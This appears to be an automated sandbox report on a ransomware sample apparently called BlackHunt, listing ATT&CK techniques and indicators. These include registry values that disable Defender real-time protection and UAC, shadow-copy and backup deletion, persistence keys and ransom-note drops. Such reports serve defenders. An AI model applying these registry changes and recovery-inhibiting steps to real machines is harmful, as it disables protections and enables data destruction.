bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c

Data Destruction

T1485

pid	Process
5900	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
3996	bcdedit.exe
3328	bcdedit.exe

Renames multiple (552) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
6312	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\T:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\K:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\Y:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\G:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\X:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\M:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\Z:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\V:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\I:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\P:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\J:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\W:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\O:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\S:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\H:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\N:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\B:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\Q:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\R:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\U:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\A:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened (read-only)	\??\L:	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
26	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\webkit.md	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\cryptix.md	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\applet\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\#BlackHunt_Private.key	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fr\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\#BlackHunt_ReadMe.txt	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pl.txt	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tt.txt	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\#BlackHunt_Private.key	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\#BlackHunt_Private.key	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\el.txt	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\management-agent.jar	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tg.txt	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\server\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\LINEAR_RGB.pf	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\colorimaging.md	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_ja.properties	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\public_suffix.md	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\unicode.md	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\hrtfs\#BlackHunt_ReadMe.txt	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\#BlackHunt_Private.key	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\dotnet\host\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\eu.txt	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\io.txt	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\dotnet\swidtag\Microsoft Windows Desktop Runtime - 8.0.0 (x64).swidtag	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\#BlackHunt_ReadMe.txt	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ff\#BlackHunt_ReadMe.txt	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-tw.txt	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\lcms.md	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\tzdb.dat	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\Java\jre-1.8\legal\javafx\#BlackHunt_Private.key	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\icu_web.md	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\freebxml.md	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\jopt-simple.md	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\relaxngcc.md	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_Private.key	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_ReadMe.txt	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ast.txt	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\relaxngom.md	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ckb\#BlackHunt_ReadMe.txt	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\Java\jdk-1.8\legal\javafx\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\freebxml.md	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\relaxngdatatype.md	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_it.properties	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\pkcs11cryptotoken.md	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\vlc.mo	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fi\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\dom.md	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\applet\#BlackHunt_Private.key	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\jaccess.jar	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_ReadMe.txt	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\#BlackHunt_Private.key	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\vlc.mo	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4868	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1580	vssadmin.exe
4216	vssadmin.exe
4712	vssadmin.exe
660	vssadmin.exe
4628	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
Token: SeRestorePrivilege	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
Token: SeBackupPrivilege	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
Token: SeTakeOwnershipPrivilege	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
Token: SeAuditPrivilege	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
Token: SeSecurityPrivilege	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
Token: SeIncBasePriorityPrivilege	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
Token: SeBackupPrivilege	1020	vssvc.exe
Token: SeRestorePrivilege	1020	vssvc.exe
Token: SeAuditPrivilege	1020	vssvc.exe
Token: SeBackupPrivilege	5816	wbengine.exe
Token: SeRestorePrivilege	5816	wbengine.exe
Token: SeSecurityPrivilege	5816	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 448 wrote to memory of 468	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	90
PID 448 wrote to memory of 468	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	90
PID 448 wrote to memory of 636	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	92
PID 448 wrote to memory of 636	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	92
PID 448 wrote to memory of 3048	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	94
PID 448 wrote to memory of 3048	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	94
PID 448 wrote to memory of 3920	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	100
PID 448 wrote to memory of 3920	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	100
PID 448 wrote to memory of 1688	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	96
PID 448 wrote to memory of 1688	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	96
PID 468 wrote to memory of 2412	468	cmd.exe	97
PID 468 wrote to memory of 2412	468	cmd.exe	97
PID 3048 wrote to memory of 2188	3048	cmd.exe	101
PID 3048 wrote to memory of 2188	3048	cmd.exe	101
PID 3920 wrote to memory of 1548	3920	cmd.exe	104
PID 3920 wrote to memory of 1548	3920	cmd.exe	104
PID 636 wrote to memory of 3784	636	cmd.exe	103
PID 636 wrote to memory of 3784	636	cmd.exe	103
PID 1688 wrote to memory of 2736	1688	cmd.exe	102
PID 1688 wrote to memory of 2736	1688	cmd.exe	102
PID 448 wrote to memory of 1396	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	106
PID 448 wrote to memory of 1396	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	106
PID 448 wrote to memory of 1884	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	107
PID 448 wrote to memory of 1884	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	107
PID 448 wrote to memory of 5052	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	109
PID 448 wrote to memory of 5052	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	109
PID 448 wrote to memory of 4760	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	111
PID 448 wrote to memory of 4760	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	111
PID 1396 wrote to memory of 4048	1396	cmd.exe	113
PID 1396 wrote to memory of 4048	1396	cmd.exe	113
PID 448 wrote to memory of 5104	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	114
PID 448 wrote to memory of 5104	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	114
PID 448 wrote to memory of 2300	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	116
PID 448 wrote to memory of 2300	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	116
PID 1884 wrote to memory of 3380	1884	cmd.exe	117
PID 1884 wrote to memory of 3380	1884	cmd.exe	117
PID 448 wrote to memory of 2084	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	118
PID 448 wrote to memory of 2084	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	118
PID 5052 wrote to memory of 4336	5052	cmd.exe	120
PID 5052 wrote to memory of 4336	5052	cmd.exe	120
PID 448 wrote to memory of 4276	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	124
PID 448 wrote to memory of 4276	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	124
PID 4760 wrote to memory of 3516	4760	cmd.exe	122
PID 4760 wrote to memory of 3516	4760	cmd.exe	122
PID 5104 wrote to memory of 1524	5104	cmd.exe	125
PID 5104 wrote to memory of 1524	5104	cmd.exe	125
PID 448 wrote to memory of 1232	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	126
PID 448 wrote to memory of 1232	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	126
PID 2084 wrote to memory of 4292	2084	cmd.exe	129
PID 2084 wrote to memory of 4292	2084	cmd.exe	129
PID 2300 wrote to memory of 3652	2300	cmd.exe	128
PID 2300 wrote to memory of 3652	2300	cmd.exe	128
PID 448 wrote to memory of 2944	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	130
PID 448 wrote to memory of 2944	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	130
PID 448 wrote to memory of 4840	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	132
PID 448 wrote to memory of 4840	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	132
PID 4276 wrote to memory of 5036	4276	cmd.exe	134
PID 4276 wrote to memory of 5036	4276	cmd.exe	134
PID 448 wrote to memory of 228	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	135
PID 448 wrote to memory of 228	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	135
PID 448 wrote to memory of 1064	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	136
PID 448 wrote to memory of 1064	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	136
PID 448 wrote to memory of 396	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	144
PID 448 wrote to memory of 396	448	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	144

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
"C:\Users\Admin\AppData\Local\Temp\bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:448
- C:\Windows\System32\cmd.exe
